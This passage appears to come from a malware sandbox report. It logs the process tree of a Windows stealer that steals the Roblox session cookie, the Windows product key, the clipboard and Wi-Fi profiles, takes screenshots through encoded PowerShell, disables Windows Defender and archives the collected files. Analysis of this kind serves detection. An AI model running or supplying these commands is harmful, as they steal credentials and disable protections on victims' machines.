wB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3572 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gs0wgajg\gs0wgajg.cmdline"7⤵PID:5376
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7DB3.tmp" "c:\Users\Admin\AppData\Local\Temp\gs0wgajg\CSC6283C7176BD4FB59480E4973D5E0ED.TMP"8⤵PID:2572
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:3612
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:4548
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:5316
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:5364
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:5420
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:5528
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:1560
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:1576
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:1696
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:5644
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"5⤵PID:1176
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY6⤵
- Suspicious behavior: EnumeratesProcesses
PID:1756 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"5⤵PID:1300
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:4596
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY6⤵
- Suspicious behavior: EnumeratesProcesses
PID:3772 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"5⤵PID:5072
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:3920
-
C:\Windows\system32\getmac.exegetmac6⤵PID:2608
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI50442\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\Zkb1a.zip" *"5⤵PID:2344
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:1504
-
C:\Users\Admin\AppData\Local\Temp\_MEI50442\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI50442\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\Zkb1a.zip" *6⤵
- Executes dropped EXE
PID:4064 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"5⤵PID:5556
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:4208
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption6⤵PID:5744
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"5⤵PID:6988
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:6072
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory6⤵PID:5596
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵PID:2288
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:1240
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid6⤵PID:6340
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"5⤵PID:3064
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
PID:5008 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER6⤵PID:5356
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"5⤵PID:4656
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:6688
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name6⤵
- Detects videocard installed
PID:2692 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"5⤵PID:5040
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
PID:6532 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault6⤵PID:2196
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe"3⤵
- Executes dropped EXE
PID:5068 -
C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5836 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe'"5⤵PID:2368
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_M.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4092 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"5⤵PID:6540
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend6⤵
- Suspicious behavior: EnumeratesProcesses
PID:5796 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵PID:6696
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5580 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵PID:2064
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid6⤵
- Suspicious use of AdjustPrivilegeToken
PID:3240 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"5⤵PID:7092
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:5608
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 26⤵PID:2080
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"5⤵PID:6448
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 26⤵PID:4488
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"5⤵PID:4860
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name6⤵
- Detects videocard installed
PID:6652 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"5⤵PID:3296
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name6⤵
- Detects videocard installed
PID:5356 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"5⤵PID:5408
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5428 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵PID:4612
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
PID:1604 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵PID:6064
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
PID:3096 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"5⤵PID:4524
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName6⤵PID:4708
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"5⤵PID:5296
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4692 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵PID:4728
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:7080
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
PID:6412 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:2236
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:6120
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"5⤵PID:3588
-
C:\Windows\system32\netsh.exenetsh wlan show profile6⤵PID:440
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"5⤵PID:2764
-
C:\Windows\system32\systeminfo.exesysteminfo6⤵
- Gathers system information
PID:5608 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="5⤵PID:6808
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2316 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\odqnauyg\odqnauyg.cmdline"7⤵PID:5400
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7DA4.tmp" "c:\Users\Admin\AppData\Local\Temp\odqnauyg\CSCC664BF494B72436490297C896520D4E.TMP"8⤵PID:5740
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:1584
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:6556
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:6356
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:5348
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:5356
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:2792
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:2344
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:1956
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"5⤵PID:2220
-
C:\Windows\system32\tree.comtree /A /F6⤵PID:4904
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"5⤵PID:1100
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:2272
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY6⤵PID:4984
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"5⤵PID:6488
-
